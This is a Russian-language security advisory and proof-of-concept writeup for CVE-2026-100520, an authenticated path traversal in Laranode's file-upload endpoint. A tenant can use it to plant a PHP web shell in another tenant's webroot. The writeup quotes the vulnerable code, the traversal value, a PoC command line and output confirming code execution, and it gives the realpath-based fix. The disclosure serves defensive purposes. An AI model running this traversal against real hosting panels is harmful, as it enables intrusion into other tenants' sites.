
Path Traversal -> RCE в Laranode < 1.2.1 (CWE-22). PoC + advisory writeup.
Авторизованное исследование безопасности. PoC только для защитного и образовательного использования.
Аутентифицированный path traversal в эндпоинте загрузки файлового менеджера Laranode позволяет низкопривилегированному арендатору записывать произвольные файлы за пределами своего домашнего каталога — включая PHP веб-шелл в веб-корень другого арендатора — что приводит к удалённому выполнению кода от имени этого арендатора.
| CVE | CVE-2026-100520 |
| Продукт | Laranode (панель управления мультитенантным хостингом, Laravel) |
| Затронуто | >= 0, < 1.2.1 |
| Исправлено в | v1.2.1 |
| Уязвимость | Path Traversal (CWE-22) → Arbitrary File Write → RCE |
| Привилегии | Аутентифицированный (любой низкопривилегированный пользователь панели) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| Обнаружено | Alisher Qarshibayev |
| Рекомендация | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php формирует путь назначения путём прямого
соединения предоставленных пользователем полей запроса path и originalName с
домашним каталогом арендатора — без канонизации и без проверки на traversal:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- attacker controlled, not sanitized
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- traversal sink
File::append($path . '/' . $r->originalName, $file->get()); // <-- arbitrary write
Маршрут защищён только auth — любой аутентифицированный арендатор может до него добраться:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
Поскольку path принимает последовательности ../, значение вроде ../victim/public_html выходит за
пределы домашнего каталога вызывающего и помещает загруженный файл в веб-корень другого арендатора. Запись
.php файла туда приводит к выполнению кода в момент его запроса по HTTP.
Требования: действующая низкопривилегированная учётная запись на целевом экземпляре Laranode (это привилегия, которую предполагает CVE). PoC выполняет вход, получает CSRF-токен и записывает маркерный PHP-файл в веб-корень соседнего арендатора через traversal.
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
Ожидаемый результат — сервер подтверждает запись за пределами домашнего каталога атакующего:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
См. poc.py. Маркерный шелл выполняет только id/uname для доказательства выполнения —
никаких деструктивных действий.
Обновитесь до Laranode 1.2.1 (коммит с исправлением).
Исправление нормализует разрешённый путь и отклоняет любое назначение, выходящее за
пределы домашнего каталога арендатора (проверка вхождения через realpath()). Общая рекомендация: никогда не строить
пути файловой системы из необработанного пользовательского ввода — канонизируйте и подтверждайте, что результат остаётся в пределах
разрешённого базового каталога.
| Дата | Событие |
|---|---|
| 2026-09-21 | Дата публичного раскрытия |
| 2026-09-26 | CVE-2026-100520 зарезервирован и опубликован (VulnCheck) |
Ответственно раскрыто вендору и скоординировано через VulnCheck. Исправлено в v1.2.1 до выпуска этого PoC. Опубликовано в защитных и образовательных целях.